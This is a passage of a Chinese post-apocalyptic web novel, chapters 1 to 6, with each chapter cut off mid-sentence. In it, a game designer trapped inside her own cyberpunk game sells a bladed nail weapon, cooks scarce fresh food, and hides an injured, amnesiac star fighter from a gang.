《捡来的战损大佬[末世]》 1. 第一桶金 《捡来的战损大佬[末世]》全本免费阅读 林洗练一大早就起床了,拿了一个营养罐罐,背着小挎包出了门。 这是她穿进赛博末日游戏的第九十八天,九十八天前,她正抱着策划组刚敲定的游戏设定集和美术组的小姐姐扯头花,义正言辞地告诉对方画风不能这么唯美: “末日世界是残酷的,要暴力野蛮,man,满目疮痍,yi,衣食短缺,que……” 缺德吧你。 重来一次,她一定抱紧美术组的大腿,请他们务必朝真善美正能量的方向画,否则,她就跪下来求他们! 林洗练这辈子都不会忘记一觉醒来发现自己躺在草堆的惊恐。 穿越就算了,居然不是从安全的庇护城刷出来的,硬刚是不可能硬刚的,外面那些病毒,辐射,变异生物,哪个拎出来都够她死一轮的了。 只能连滚带爬逃到庇护城附近的卫星集市,才能维持得了生活这样子。 世界末日也阻止不了社畜打工的命运,林洗练在一家刚开业的小装配店捡了个漏,帮人家看看柜台卖卖东西,时常因为自己过于废物而怀疑老板要开除自己。 所以说,长远考虑,还是得搞钱。 林洗练瞄上了集市上的丽舍酒吧,这儿的老板上周在知名装配店“锋刃”询问近战防御的冷兵器,听说已经看好了某件高级货,就等今天交易了。 截胡的难度有点大,但撬个小墙角薅一把软羊毛还是可行的。 酒吧老板是一个爱穿裙子的漂亮男人,大早上没什么顾客,正坐在吧台旁盘账。 “早上好周老板,今天的衣服很漂亮。” 周锐抬头,门口跟他打招呼的小姑娘有些面熟,似乎是上次他去锋刃装配店相看武器时,兴冲冲跑过来毛遂自荐的那一位。 “你好,小姑娘,这么早来喝酒可不是好习惯。” 林洗练摇摇头,笑道:“听说周老板今天有一笔武器交易,我来试试能不能蹭上顺风车。” “我记得你。”周锐放下手中的玻璃瓶,“不过你们的装配店是新开张的,我不太了解你们的技术和质量。” 这就是婉拒了,而且和上次的说辞一模一样。 林洗练早有预料,不慌不忙道:“锋刃仗着名气搞品牌溢价已经不是一天两天了,周老板这次交易武器也是花了大价钱的吧?难道就不想再往下杀一杀价?” 周锐似笑非笑,“怎么说?” 林洗练耸肩,“到手的顾客眼看要被人抢走,让利是最直接的挽留办法。” “你就这么自信?” “对自家产品没有信心还怎么跑业务?” 末日之下,人人都在寻找称心如意的武器,大大小小的装配店在各个主城区外星罗棋布。 这里是病毒末日,更是赛博未来,应用科技突飞猛进,新材料新动能为人类的存活率保驾护航。林洗练入职九号装配店的第一天,就觉得自己掉进了学术窝里。 她大学被调剂机械工程,这类专业除非读研读博,否则像她这种本科毕业的,就是典型的一瓶子不满半瓶子晃荡,养不活自己是常态,最后还是靠着大学辅修的传播学进了游戏公司扯头花。 但现在看来,本专业跟这个世界不要太对口,面对琳琅满目的新技术以及迫切的生存需求,林洗练的任督二脉一下就被打通了,库库就是学。 于是闭关两个月,她鼓捣出了一个小玩意儿。 林洗练从小挎包里摸出一个银色的盒子,稳稳递上前。 “这是专门为您设计的,一款既漂亮,又能杀人于无形的武器。” 周锐打开盒子,里面躺着十只酒红色的甲片,像世界末日之前风靡网络的美甲艺术品那样,图案精美,晕染细致,几颗碎玻璃钻折射出锋利的光。 “这是穿戴甲。”林洗练解释道:“能反复使用,粘合胶水和卸甲液在盒子下层,不伤手,也很方便。” 周锐眯了眯眼,“你说,它是武器?” “当然。”林洗练点头,指尖拂过甲片表面,“镶嵌这些玻璃钻,可不仅仅是为了漂亮。” “嗖”得一声破风响,穿戴甲前端弹出一张尖刀片,锋利得能轻易割开人的喉咙。 “玻璃钻是刀片的开关,收放自如,整套产品是用新的合金材料打造,轻便,耐久,坚韧。” 周锐没有说话,眼中少了刚才的玩味,拿起一只甲片仔细观察。 平心而论他是满意的,暴力美学是他永恒不变的兴奋点,而这件武器又将杀伤力与美丽结合得如此出色。 林洗练精准识别到顾客的情绪,满意就好办了,只差最后一把火。 “我们新店开张,价格也不贵,不如这样,等下我帮您杀价多少,您再添个三分之一,就算这副穿戴甲的定价了。” 林洗练知道周锐是不会跟锋刃毁约的,但只是多付一点点小钱钱,就能饶一件喜欢的武器,谁不动心呢? “成交。” 于是等锋刃的人过来,面对的就是一出红白脸的双簧。林洗练简直拿出了自己毕生的演技,以内卷到不行的价格表达自己想要强抢客户的决心。 要说锋刃也确实是狮子大开口,一把普通匕首要价59998,这还是看在周锐是老顾客的面上打了折的。 纵然锻造用的合金材料是高端了些,可也不带这样垄断市场的,林洗练当即拿出羊毛党的铁锤给对方狠狠上了一课。 负责人一脸懵逼,被疯狂带节奏跟着降价,最后懵懵懂懂走出酒吧时,还在思考自己怎么多抹了个零。 这种事不能多干,不然等对方反应过来容易挨打。好在林洗练已经成功在周锐这刷了一波存在感,以后再做生意就能说得上话了。 那利刃美甲是林洗练借自家装配店的工具和材料做的,她掰着指头算了算,扣除应该归公的成本和利润,可以留给自己一千约币的奖励金。 有了钱,第一件事当然是去购物。 病毒爆发后的人类社会崩坏了很长一段时间,新的经济体系是在全球主要地区重新联通后才逐渐形成的,目前雅东地区流通最广的货币叫“约币”。 按理说购物应该去“大市场”,那算是卫星集市上最大的超市了,可林洗练第一次去就很嫌弃它,因为那里,不、卖、菜! 这也不是大市场的锅,现在人们的饮食已经完全退化且异化,以营养罐罐为主,这玩意儿安全健康,方便运输且储存时间长,除了摧残味蕾和人类瑰丽的美食文化,其他没毛病。 林洗练穿越前就喜欢自己做饭,每天去公司拼死拼活扯一天头花,为的不就是下班后安安生生吃顿饭吗? 所以当她第一次吃营养罐罐,刚咽了一口就直接跪在地上开始鬼画符: “玉皇大帝、观音菩萨、如来佛祖、元始天尊、神子耶稣、圣母玛利亚、万能的上帝!哈库呐玛塔塔!送我回家!” …… 睁开眼,还是一地营养罐罐。 各种蔬菜肉类和主粮混合压制,还贴心地附赠口味料包,什么香浓芝士,炭烧海鲜,尖椒麻辣,经典蒜香…… 反正林洗练每次吃饭,都觉得自己在啃猫罐头。 这种生活多过一天都算折寿,她都打听好了,卫星集市西边有个聚集点,那里时不时有人售卖从野外带回的农作物和牲畜,能碰上什么,都得看运气。 说实话,瓜果肉蛋这玩意儿在这还是有一定市场需求的,大家虽然习惯了营养罐罐,但出来混,总是想吃点不一样的犒劳自己。 菜场那些“现货”大多是去野外“拾荒”的队伍罐罐吃完了,就地取材做饭后剩下的,怎么说也算是物资,扔了可惜,索性就带回来支个摊子卖了。 今天出摊的人不多,林洗练很幸运地捡漏了一小袋土豆,长得是奇形怪状了些,但看着还算新鲜。 随手抓了一把有点蔫了的小青菜添个秤,林洗练开始跟摊主叽里咕噜地讲价,最后以一句“你这土豆再卖不出去就长芽了”让摊主败下阵。 做饭不能没有油,可惜大市场没卖的,那里只卖基础的盐糖调味料。 风味罐罐价贵,有些勒紧裤腰带的人每月只屯便宜的原味罐罐,拌点盐或者辣椒粉就是一餐。 林洗练停在了一个架着半只猪的摊子前,摊主长得略凶,脸上有道疤,大马金刀地往小板凳上一座,嚼着个烟头。 林洗练有点怂,但想起罐罐非人的口感,以及猪油拌粉的爽滑,硬生生把恐惧给压下去了,“老板……猪肉怎么卖?” 摊主“呸”了一声,凶悍地把烟头吐了,起刀对着刮了两下: “价格实惠,包你满意,大妹砸,要多少?” …… 不论是土豆还是猪肉,交易最后摊主都当着林洗练的面过了一遍自带的全污染处理器。 林洗练上帝视角看过剧本,知道这是海崎核业集团研发的除污设备,贵得吓人,但如果你不想在野外被饿死,只能倾家荡产下单。 病毒,核辐射,生化泄露等事故已经严重破坏了自然环境,土壤和水源均被污染,农作物无法为人类直接食用,只有通过技术进行除污,才能消除隐患。 这也是为什么大市场不卖菜的原因。 现在农作物都在主城区集中种植,集中除污,再集中送去工厂压罐罐。 病毒爆发那几年人类经历了□□,粮食安全成了每个地区的警戒,雅东这边更是目不错珠地死盯红线,末日前那样的自由售卖,肆意浪费,早就一去不复返了。 最后林洗练拎着猪肉土豆小青菜和几只鸡蛋走出了菜场,算算账,居然花了几百约币,果然贪吃是贫穷的原罪。 不过这个价格还算便宜的,进了主城区,往上再翻个四五倍都是有的。 新鲜蔬菜和自主烹饪早就成了富人的标签,穷人没那个闲情逸致,大街小巷的营养罐罐和预制菜填满了 2. 限定战损装 《捡来的战损大佬[末世]》全本免费阅读 锅里剩的油刚好可以用来煎饼,林洗练估算了一下,之前拌好的土豆丝差不多可以摊六张饼,主要是鸡蛋太少,不然还能再匀匀。 鸡蛋是真贵啊。林洗练流泪。 早晚有一天她要去野外抓几只鸡回来养着。 起锅,油热,土豆丝均匀地铺在锅底,蛋液涨起金色黄的小泡泡,林洗练熟练地用筷子辅助给饼翻面,背面纹理随意的焦褐色让陈不苟这个美术狗大呼颜色好看。 第一张饼出锅,奖励陈不苟今天老实看店,一口下去,土豆丝焦脆,鸡蛋软嫩,肉丝咸香,好吃得陈不苟觉得在自己前二十年怕是白活了,净让预制菜和营养罐罐糟蹋。 六张饼都摊完,又炒了一盘小青菜,林洗练才安安心心坐下吃饭。 折腾一通,这次买的菜可就剩下猪肉了,但是急也没用,以后的口福以后再想办法吧。 陈不苟饭量大,又开了营养罐罐配着一起吃,正当两人大快朵颐时,九号装配店的门忽然被推开了。 林洗练回头看了一眼,是丽舍酒吧老板周锐,还是上午那件古典风的黑色长裙,头发挽在耳边,走起路来美丽又有杀气。 “欢迎光临。”林洗练赶紧放下筷子迎上前,“周老板,是想买什么东西吗?” 周锐是对利刃美甲很喜欢,但也没有喜欢到就钟情一家店的地步,和善笑了笑道:“小姑娘,我刚好路过,来问问售后的问题。” “你卖给我的武器我很满意,不过那些用来粘合的胶水似乎不多,是这件武器的寿命太短,还是说,用完之后,我需要另外购买胶水?” 穿戴甲的穿和脱都挺费胶,作为武器又要求能够固定得稳妥坚固,否则危机情况下偏差一毫一厘,都可能赔上性命。 林洗练从容不迫道: “胶水是我研制的特殊配方和材料,配好之后需要密封冷藏,开封后的保质期是一个月,所以我选择了小剂量的瓶子给您装,不然多了也是浪费。” “不过您放心,武器的定价就是包含了胶水价格的,您用完可以随时来拿货,也可以选择多拿一些回去自行冷藏储存。” 周锐点点头,想了想,“我还要出去办事,一时半会儿也不回酒吧,胶水就先在你这里放着吧,不过方便起见,我们留个联系方式?” 周锐拿出手机,或者不能叫手机,只能叫通讯仪,林洗练欣然点头。 土豪客户联系方式get! 什么胶水给得少,那当然是林洗练故意的,她完全可以多塞几瓶,可是那样一锤子买卖的交易,怎么能跟客户建立深度联系呢? 周锐可是有一间酒吧欸,光明面上的保安就有十来个,这升级武器的时候,可是大单! 林洗练站在柜台谈生意,陈不苟见自己插不上话,就一边吃饼一边偷瞄,大概是他吃得太香,周锐都注意到了。 “这是自己做的食物吗?大市场好像没有这样的营养罐罐。” “啊,对。”林洗练热情介绍,“土豆丝蛋饼,今天跟您成了一笔生意,就想吃点好的庆祝一下。” 周锐闻言笑了,正是饭点,他自己急着去办事也还没顾上吃饭,这土豆丝蛋饼看着倒是香。 “你刚才问我要不要买东西。”周锐挑眉,“不知道你的土豆丝蛋饼对外出售吗?定价多少?” 陈不苟还没意识到自己起到了真人吃播效应,愣了一下道:“您看着给?” 林洗练是个会做生意的,当即切了一张饼拿纸盒装好,“就是自己无聊倒腾的食物,材料也没多少钱,周老板尝尝,提点意见,我当精进厨艺了。” 小姑娘性格好,但是周锐觉得自己不能干占便宜的事,留了一张面值一百的约币在柜台上,冲林洗练笑笑。 “谢谢你的饼,小姑娘,再见了。” 看着周锐走出装配店上了车,吃完饭的陈不苟自觉去洗碗。天气隐约有点阴沉,几片乌云挤在一起是要下雨的架势。 五六点时林洗练把看店的活交给了陈不苟,背上小挎包又准备出门。 “都要下雨了,你还往外跑?”陈不苟趴在柜台上打了个哈欠。 “知道那单美甲生意怎么做成的吗?”林洗练头也不抬,把伞揣进包里,“不往外跑怎么挖掘财富密码?” 进入雨季后的这段时间林洗练几乎每天都要出门,一方面是为了找机会赚钱,另一方面则是为了蹲一个人。 卫星集市设置在庇护城之外,沿着防御墙一路西行,很快就能看到集市并不算宏伟的出入口。 林洗练轻车熟路地钻进一栋废弃建筑,翻上屋顶,靠着老树坐在了水泥檐上。 她翻出笔记本,记录自己蹲守的第五天,页面空白处画了一个简笔小人,如果美术组那群掉发狂魔看到了,一定能认出这是游戏中某个NPC的Q版。 银狼。 各个卫星集市中,战力排名数一数二的最强王者,组队摇人野外探险时,有他基本就等于拥有免死金牌。 刚穿越那会儿的林洗练属实是被“野外”这个危险系数五颗星的地图吓到了,转头就寻思着找一条粗壮的大腿抱抱紧,为此还绞尽脑汁列了一张NPC名单,比来比去觉得只有野区战神这条大腿又粗壮,又好找。 毕竟她见过银狼的立绘,能认脸。 她记得有关他的剧情大多发生在雅东第四庇护城外东边的卫星集市,初次登场是在雨季的一个夜晚。 就像今天这样。 空气里夹杂着湿气,天黑后就下起了雨。林洗练从背包里摸出一把伞撑开,跟个大蘑菇一样继续蹲在屋顶。 她脑袋慢慢放空,感觉自己现在的生活其实已经稳定下来了,最初那种对抱大腿的执念,好像已经没那么重了。 她可以养活自己,就是活得比较操蛋而已。 可银狼毕竟是她穿越伊始心心念念的NPC,甚至当初也许就是因为脑子里念叨着他,林洗练才会去应聘陈一斯的装配店,下意识地想要留在集市上,等一个雨季来临。 穿越者不复故乡,曾经在游戏地图上看着巴掌点的地方,手指长的距离,点一下就能直接传送,而如今变成了真正的相隔千里,每走一步都是危机四伏。 直至此刻林洗练依然对这个世界抱有一种陌生感,她就像个新来的转学生 3. 战神失忆了 《捡来的战损大佬[末世]》全本免费阅读 陈不苟开着店里那辆暴改过的小破车飙到了集市口,一脚油门当刹车差点没给这危楼撞散架。 林洗练招呼他帮忙把银狼搬上车,陈不苟来回伸了三次胳膊,实在没找到能下手的地方。 “这人伤成这样得是被雷劈了,我抬他一下应该不会往下掉零件吧?” “放心。”林洗练把车门拉开,“没那么容易死。” 起码现在不会。 卫星集市上的小诊所有不少,但大医院只有一家。 凌晨时分银狼被推进了急救室,林洗练去补办住院手续,陈不苟看着一张接一张的缴费单,再不食人间烟火也隐约觉得心绞痛。 “你说这人醒过来,能还我们钱吗?” 林洗练眼都不眨,“知道什么是野区战神么?” 主城区之外,最广为人知,也是最暴利的敛财方式就是前往野外探险。 变异生物的组织和血液样本,旧纪元废墟中的物资和文明碎片,这些都是能在卫星集市上出手,甚至与官方进行交易的资源。 探索往往伴随着危险,有人是独狼,也有人组队共进,像银狼这样战力数一数二的最强王者,绝对是各大探险队伍趋之若鹜的存在,组队摇人时,有他基本就等于拥有免死金牌。 “人家去野外一趟赚的钱说不定能买咱半个小破店,你还担心他付不起医药费?” 陈不苟听了一通彩虹屁,抬头看了一眼手术室的亮灯,表情复杂,“我觉得你在诓我,这么牛哔能被打成这样?” 林洗练动作一顿,捏着下巴嘶了一声。 的确,当初设计游戏时,文案组给出的人物背景资料只简略介绍了银狼的活动范围和初次登场,目前的战损以及昏迷完全是设定之外的突发情况。 或者说,这本身就是一个未完成的游戏,可它又切切实实在林洗练面前存在着,为了逻辑自洽,这个世界正自行填补着无数细节。 而末日之下,每一个细节,都可能攸关生死。 “这样。”林洗练把缴费单塞进包里,“明天我去打听打听消息,看银狼最近有没有跟谁组队,如果他是在野外受的伤,那不是队伍反水,就是外面出现了普通人无法对付的变异生物。” 如果是后者,老板陈一斯现在也在野外,得想办法找到她。 陈不苟点点头,“那我跟你一起去。” “不,你留在这。”林洗练道,“如果银狼醒了,直接找他问清楚。” 想要打听消息,最方便的地方当然是丽舍酒吧。 这里人来人往,很多野外探险队在这里的公告栏发布任务,招募临时队员,大家利聚而来,利散而去,一脑袋扎进旧纪元的废墟之中“淘金”,用生命换取高额回报。 不过今天林洗练似乎来得不太是时候,酒吧无序嘈杂,东侧一角碎了满地玻璃,几张木制桌椅侧翻,酒水泼洒成滩。 老板周锐正指挥人清理垃圾,伸长的食指露出了那片沾着零星血迹的穿戴甲。 “周老板,有人来闹事?”林洗练主动上前搭话。 周锐回头,“是你啊,小姑娘。” “几个奥分的地痞流氓,喝醉了就耍酒疯,这群白人太不懂规矩。” 奥分是当地一个比较出名的帮派组织。 林洗练点点头,“奥分的人最近似乎去野外去得很勤。” “的确,隔三岔五就组队,也许是在外面发现了好东西。” “或者是请到了得力的帮手呢?比如银狼那样的?” 周锐转头,似笑非笑看着她,“小姑娘,每天来我这里买消息的人可是很多的。” 林洗练也不怯场,“不知道周老板收费怎么样?我最近刚好赚了一笔钱。” 周锐收回目光,表情重新变得懒散,扬了扬眉,“算了,我很喜欢你的土豆丝蛋饼,可以送你这个人情。嗯……你也对‘野外拾荒’感兴趣?” 林洗练笑笑,“来钱快的活谁不感兴趣呢?” “好吧,是我小瞧你了,也许你不甘愿只做一个修理工。”周锐笑道:“银狼的确是个很好的组队人选,但你也该知道他出场费高得吓人。” “最近有什么队伍请他吗?” “请他的人络绎不绝,但接不接活全凭个人心情,最近他似乎都是单独行动,没有跟过什么队伍。” 林洗练微微蹙眉,沉吟片刻后道:“那野外最近太平吗?上个月听说有人遇见了战斗力极强的变异怪物。” “你是说大学城废墟那边的怪物?”周锐想了想,“确实很难缠,最后是官方派军队来清理的,那之后没再听人说这类消息,如果你不放心,我可以再帮你打听打听。” “谢谢。”林洗练真诚道:“您帮了我大忙。” “不客气。”周锐狡黠笑笑,“也许我只是想赚你的咨询费呢?” “乐意之至。”林洗练礼貌回敬,拿上挎包准备告辞。 临走时她忽然想起了什么,“哦对了,新武器还好用吗?我顺便做一个售后回访。” “很不错。”周锐五指并拢在灯光下晃了晃,“足够美丽,也足够锋利。” 离开酒吧,林洗练就近去大市场买些病人专用的营养罐罐,刚付完钱通讯仪就响了起来。陈不苟打来电话,说银狼手术很成功,现在已经醒过来了。 “就是有一个问题。” “啥?” “他好像……失忆了。” 林洗练风风火火赶到病房时陈不苟正跟银狼大眼瞪小眼,空气中弥漫着尴尬,万物静止的氛围下只有输液点滴跑得正欢。 医生絮絮叨叨地说着银狼的情况,“病人脑部受到了重创,现在记忆有些混乱,建议先不要刺激他,多观察一段时间。” 林洗练:“那大概什么时候能恢复?” “这个不好说。”医生推了推眼镜,“病人脑部情况比较复杂,有动过大型手术的痕迹,视听神经似乎都被改造过,这也让他的大脑更加敏感。” 林洗练闻言愣了一下,转头看向病床上的人。 她记忆里的人物简介可没提过什么神经手术,最多只是身体某些部分进行过机械化改造,比如配置了臂枪,钢爪之类的,这些在昨天送银狼来医院时她都见识过了。 “等病人伤口稳定了就可以找装配店修复他身上的机械设备了,说实话,这么高强度的机械化改造我还是第一次见……” 医生絮叨着来絮叨着走。陈不苟坐在一边叹气,“我看他是忘得挺彻底的,我刚把你给我科普的‘野区战神’身份给他讲了一遍,他一点印象都没有。” 林洗练头疼,打开背包掏出营养罐罐,“事已至此,先吃饭吧” 病人专供罐罐比寻常罐罐更可怕,乏味得让人无欲无求,大概是为了肠胃减负,内容物也更软烂,被林洗练亲切地形容为泥浆。 但到了这份上,也不得不硬着头皮劝: “你得吃点东西,昨天流了很多血,需要调养。” 银狼抬头,深邃的眼睛安静注视着林洗练,他眼中有对失忆的迷茫,却并不惶恐慌乱,像一潭水,泛着清冷的光。 “谢谢。” 林 4. 抢人 《捡来的战损大佬[末世]》全本免费阅读 之后一段时间,银狼的伤势恢复得不错,脑袋却没什么进展。 林洗练也不怎么和他提有关记忆的话题,每天只聊聊生活琐事。 比如今天集市上有什么新鲜事,店里来了什么客人。大多数时候是她在说,银狼安静地听。 失忆所带来的陌生感本身就容易演化为恐惧,林洗练不希望再给银狼什么压力,她在很努力地向他证明,即使失去过往,即使想不起来,积极生活也是可行的。 大概是能感知到这份平和,比起和其他人相处,银狼在林洗练面前总是更放松一些。 他时常在午后默默地看着她拿着小本本算账,或者打扫病房,然后在一片窸窣声中慢慢合上眼。 陈不苟偶尔会来医院溜一圈,背着林洗练跟银狼分享各种新奇口味的罐罐。 这天他上楼的时候刚好被前台护士叫住,塞了一沓崭新的缴费通知单。 陈不苟一边上楼一边数零,到了病房门口忍不住小声嘟囔,“医院可真烧钱,花下去连个响都听不见。” 林洗练接过来看了看,大致算了个总数,接受度良好,“又不让你出,话那么多呢。” 病床上本来好好吃宝宝肉松的银狼忽然放下了勺子,伸手拿过放在床头柜的背包,从里面翻出两罐红白相间混沌粘稠的东西,递到两人面前。 林洗练一愣,“嗯,什么?” “变异生物组织。” 罐子中的液体轻微晃动,露出了部分扭曲畸形的器官。林洗练呆了半天才明白过来银狼是想用这个还他们医药费。 陈不苟接过罐子掂了掂,终于对林洗练之前的科普有了实感,“现在我相信你是战神了,变异生物都能干掉,还割回来这么大一块肉。” 变异生物具有研究价值,这东西不论是在集市还是在官方都能卖不少钱。林洗练也不推辞,装进包里交给陈不苟,让他下午去把东西出手。 “就卖给官方的人,明码标价,减少扯皮。” 主城在各个卫星集市都设有官方交易点,虽然有些物资不如私人买卖出价高,但胜在流程公正,纸质登记,电子录入,发票收据,一应俱全。 陈不苟爽快应了,拎起背包出了医院。 林洗练跟银狼打了个招呼,也准备离开。 她没有回装配店,而是先去了一趟丽舍酒吧。 周锐对林洗练的到来并不意外,笑着递上酒水单,“喝点什么?” 物资匮乏的世界,用粮食水果酿制的酒早就成了奢侈品,林洗练喝不起,随意点了一杯合成物调配的饮料。 冰块“乒呤乓啷”坠入玻璃杯,暗红色的液体随着倾倒填满缝隙,周锐又顺手在托盘上放了一块姜糖。 “之前你问的问题,我并没有打听到更多有用的信息。” 林洗练:“看来周老板这笔咨询费赚得不太顺利。” 周锐笑笑,“但我的另一条消息你或许会感兴趣。” 林洗练挑眉,洗耳恭听。 “听说第四医院前几天送入了一个重伤人员,抢救了一晚上才苏醒。” “奥分对这个病人很感兴趣,正想跟医院协商资助后续的治疗费用,相信很快就有结果了。” 林洗练一愣,“奥分?他们为什么感兴趣。” 周锐指了指脑袋,“那个病人,这里被改造过。” “包括他身上那些装备,都比市面上流通的那些要前沿太多。” 末日世界,无数人接受机械与血肉结合,自愿改造躯体,以获取更快的速度,更强的力量,更高的杀伤。 而前沿科技,意味着拥有更多的优势,更多可能。 “匹夫无罪,怀璧其罪。” 林洗练皱眉,立刻明白了周锐的意思。 “第四医院的分院虽然也是官方设立,但毕竟开在卫星集市,各种组织安插些自己的人不是什么难事,也许奥分正在计划着把那个病人挪到更高级的看护房去。” 而这之后,看护还是监禁,也没什么太大差别了。 林洗练神色一变,抽了几张约币压在托盘下,抓起背包就往医院赶。 路上紧急给陈不苟打电话,说明了前因后果,让他卖完东西赶紧开车回来。 “你去医院窗□□齐所有费用,有人问起就说银狼恢复了记忆已经自行离开,我上楼带他从消防通道走,你在车里等我们。” 当初补办住院手续,林洗练借口“见义勇为”压根没填病人信息,后来医生见银狼失忆,也就没提过补全档案,反正横竖都有人替他支付医药费。 现在想想这倒是好事,至少短时间内奥分不会知道自己要找的人就是道上赫赫有名的战神。 林洗练赶到病房时,银狼刚好输完液,她二话不说把人从床上薅起来,上手就扒了他身上显眼的病号服。 银狼略显迷茫地看着火急火燎的林洗练,下意识虚握住她的手。 “你……” 5. 战神的家底 《捡来的战损大佬[末世]》全本免费阅读 糖还没完全融化,外面的嘈杂逐渐停息。 林洗练小心翼翼打开一条门缝,转着脑袋看了看,确定没有危险才把银狼拉出来。 两人从消防通道快速下楼,躲躲藏藏跑到了医院的侧门出口,陈不苟已经在那里等着了,伸手帮忙把车门推开,“快点,我刚才在医院遇到奥分的人了!” 要说陈不苟也是惨,缴个费简直是用了毕生的演技。 他刚办完出院手续就被一个堆满笑容的白人拦住了,那人说自己在找同伴,上周野外探险他们的队伍遇到了点麻烦,有个人走散了,现在很多人都在找他。 陈不苟不信,但不得不装出一副恍然大悟的模样与他周旋,“贴心”地告诉他前几天确实送进来一个病号,还失忆了,不过现在已经恢复,并且想起来家里有急事,就提前出院了。 笑脸男听后神色倏地变了,敷衍几句就带着人匆匆上了楼。 “奥分的人根本就不知道他们要找的人是银狼,跟我比划的时候费劲巴拉地用‘脑袋被改造过的男人’来代指,我估计他们也只是打听到医院有这么号人,着急忙慌就来了。” “就因为他身上的先进装备和改造过的视觉神经?”林洗练表示费解,“虽说科技是第一生产力,但现在市场已经内卷成这样了吗?” “幸亏我机智。”陈不苟一个灵车漂移稳稳停在店铺门口,“要不是我编瞎话拖住那群人,你们就暴露了。” 三人下车,林洗练把银狼领进店里让他先坐,然后回头一把薅住准备去翻冰箱的陈不苟,把人拉到了柜台后面。 “你有两个选择,睡沙发,或者打地铺。” 陈不苟一愣,“你把我的床卖废品了?” 林洗练微抬下巴示意,“这有一病号呢,你总不至于让人家打地铺吧?” “为什么不?大不了我帮他铺。” “那两罐变异组织你今天卖了多少钱?” “一罐十六万五一罐六万二,我跟你说当时我一拿出来就有二道贩子想收,出价二十五万两罐带走,官方交易点的人一看生意要被截胡,拉着我好一通说啊,什么黑市手续不全,后续打款不安全,指着那二道贩子说他上周刚骗了一个冤大头,尾款没付还打人家一顿。” 陈不苟兴冲冲八卦,说着就要从包里掏发票。 官方交易点的工作人员也属实不容易,上面批的预算就那么多,价格定死的,想要多收好东西完成KPI,只能疯狂给人科普黑市的奇葩案例,以期惜命的人选择跟他们交易。 林洗练:“卖的钱交完住院费还剩多少?” 这陈不苟没仔细算,当时情况多紧急啊,想了想,“还剩个零头吧。” “那零头就当人家租你房间了不行吗?” 陈不苟撇撇嘴,决定死也要拉个垫背的,“那他睡我房间,我和你睡。” “睡你个哈密瓜球!” 正当两人掐架,一旁的银狼走了过来,直接道:“我睡沙发。” 林洗练动作一停,神色自如地松开揪在陈不苟耳朵上的手,还顺便在他身上擦了擦,“那不行,你是客人,陈不苟已经同意把他的房间让出来了,你放心睡。” 陈不苟:“我什么时……” 银狼摇头,“不用,我在哪里都可以。” 林洗练伸手捂住陈不苟的嘴,坚持道:“最起码养伤期间你要睡床,沙发这么窄,万一再翻身碰着伤口,我们现在想去医院可不太容易。” 毕竟外面还有奥分的人在找所谓的“脑袋被改造过的家伙”。 地盘分配就这么愉快地决定了,陈不苟痛失房间主权。林洗练对他一边哼唧一边悄悄从架子上摸走一个海陆空豪华罐罐的小动作睁一只眼闭一只眼。 “行了,回头你沙发睡腻了,我跟你换。” 林洗练让陈不苟看店,自己去大市场买了些生活用品回来,大包小包拎上楼,整整齐齐堆在银狼房间。 “毛巾,牙刷牙膏,洗发水沐浴露,换洗衣物……你看还缺什么,我明天再去买。” 银狼摇摇头,蹲下身帮忙收拾东西,过了一会儿忽然没头没尾冒出一句: “你就这么确定我和奥分不是一伙的。” “当然。”林洗练不假思索道:“我去丽舍酒吧打听过消息,周老板都说了你最近没有跟人组队去野外,哪来的什么队友,奥分的人撒谎也不编个囫囵点的。” 银狼:“这并不能排除我是个坏人的可能。” “坏人?”林洗练放下手中的东西,偏头看向他,“那你觉得我是不是坏人呢?或许我救你是另有图谋,现在把你领回家就是要囚禁你。” 银狼看着她,缓缓摇头。 “所以说,大家都在赌。”林洗练笑道。 “关于你的信息,大多数我是从传闻中听得,仅凭这些我也很难确定自己是救了一个好人还是坏人。” “但不管怎么说,我知道你的名字,知道你在‘拾荒淘金’这一行颇有名气,而你现在失忆,本身就是和我信息不对等的。” “这样的情况下你仍愿意相信我们,我很高兴。” 林洗练抱起刚刚拆封的衣服,一股脑丢进洗衣筐,话题无缝切换至居家模式,“新衣服过一遍水再穿,等下教你用洗衣机。” 银狼站起身,点点头,忽然拎起墙角放着的背包,重新走到林洗练面前。 “给你。” 林洗练愣了一下,不明所以。银狼见她没有动作,伸手拉开书包拉链,把东西又往她怀里推了推。 林洗练低头,除了瓶瓶罐罐的变异生物组织,背包里还有几件从旧文明废墟中带出的“古董”——两本保存完好的纸质书籍,一块老式硬盘。 林洗练倒吸一口气,刷地拉上拉链,把背包往回推,“不不不不用,你留着吧,万一你真的想不起来了这可能就是你新生活的启动资金了,当然我不是咒你一直失忆啊……” 这些东西实在太值钱了,林洗练都有些语无伦次。银狼却没什么表情,像随手递了一包垃圾让人帮忙扔掉一样,“随你处置。” 银狼把两人手里的东西调了个个,拎着一筐衣服下了 6. 噩梦惊醒 《捡来的战损大佬[末世]》全本免费阅读 银狼知道,自己又一次身处梦境。 自他失忆以来,噩梦从未间断,夜晚像一只怪物,一次次抽拉着他的神经,抖落出无数混乱可怕的画面。 他看见孩童被关在狭小逼仄的金属房间内,有人抽搐,有人昏厥,有人全身坠满肿瘤,脓包破裂,浑黄的液体凝结在肮脏的地板上。 窗外传来野兽的嘶吼,某种庞然大物一次次冲击外墙,砖石倒塌的刹那,一只双翅怪物探出头,尖长的喙猛地刺进活人喉咙中。 温热的血液溅上银狼手背,他感觉自己的身体在抽条,视线不断升高,最终与那只怪物对视,后者长喙一撑,直接撕裂了人类喉管,接着发出一阵长鸣。 尖利的声音倒灌入耳,震得无数神经纠成一团,太阳穴突突直跳。 分贝不断累积,最终“砰”地一声在脑中爆炸,银狼看见自己的头像西瓜一样四分五裂,耳边的噪音成了一片嗡鸣。 他猛地从噩梦中惊醒。 下一秒房门轰然打开,林洗练抄起电蚊拍往前冲,幽幽紫光在黑夜中略显诡异。 “奥分追过来了?还半夜搞偷袭?我就知道这群人没,没……没想到晚上这么多蚊子,我帮你打打……” 林洗练看见只有银狼一人的房间差点自闭,手中的电蚊拍转了个圈,冲着空气象征性挥了两下,然后默默熄了灯。 她不是没看见银狼的眼神,那种狠戾与他失忆后人畜无害的状态判若两人,她甚至怀疑他是不是已经恢复了记忆。 银狼向后捋了一把头发,下床,起身,一步步走向林洗练。 正值雨季,黑暗被闪电劈开,高大的身形明暗交替,极具压迫感。 林洗练腿有点软。 夜闯房间也不至于要杀人灭口吧,她可是收留了他的恩人啊,要不是她,他现在就等着在奥分的地盘做小白鼠吧! 想到这林洗练有底气了,冲着银狼脖子一梗: 